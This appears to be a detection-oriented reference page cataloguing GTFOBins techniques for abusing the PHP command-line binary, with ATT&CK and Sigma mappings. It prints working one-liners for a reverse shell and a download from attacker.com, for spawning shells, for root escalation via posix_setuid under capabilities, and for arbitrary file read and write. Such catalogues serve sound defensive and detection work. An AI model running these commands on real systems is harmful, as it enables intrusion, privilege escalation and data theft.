Identifier / Programs / Linux and Unix
php
PHP command-line interface. tldr-pages
GTFOBins command, download, file-read, file-write, reverse-shell, shell, upload 4 Sigma rules name it 2 ATT&CK techniques 12 documented commands
How php is abused
command
-rdownload T1105 Ingress Tool Transfer
-rfile-read
-rfile-write
-rshell T1059.004 Command and Scripting Interpreter: Unix Shell
-rupload
-SEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for php.
12 documented commands
command unprivileged, with sudo, as SUID
php -r 'echo shell_exec("/path/to/command");'Identifycommand unprivileged, with sudo, as SUID
php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'Identifycommand unprivileged, with sudo, as SUID
php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'Identifydownload unprivileged, with sudo, as SUID
php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'Identifyfile-read unprivileged, with sudo, as SUID
php -r 'readfile("/path/to/input-file");'Identifyfile-write unprivileged, with sudo, as SUID
php -r 'file_put_contents("/path/to/output-file", "DATA");'Identifyreverse-shell unprivileged, with sudo, as SUID
php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'Identifyshell unprivileged, with sudo, as SUID, with capabilities
php -r 'system("/bin/sh -i");'IdentifyWith capabilities:
php -r 'posix_setuid(0); system("/bin/sh -i");'
shell unprivileged, with sudo, as SUID, with capabilities
php -r 'passthru("/bin/sh -i");'IdentifyWith capabilities:
php -r 'posix_setuid(0); passthru("/bin/sh -i");'
shell unprivileged, with sudo, as SUID, with capabilities
php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'IdentifyWith capabilities:
php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'
shell unprivileged, with sudo, as SUID, with capabilities
php -r 'pcntl_exec("/bin/sh");'IdentifyAs SUID:
php -r 'pcntl_exec("/bin/sh", ["-p"]);'With capabilities:
php -r 'posix_setuid(0); pcntl_exec("/bin/sh");'
upload unprivileged, with sudo, as SUID
php -S 0.0.0.0:80IdentifyNone of the 12 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for php. The identifier reads the line of each that runs php.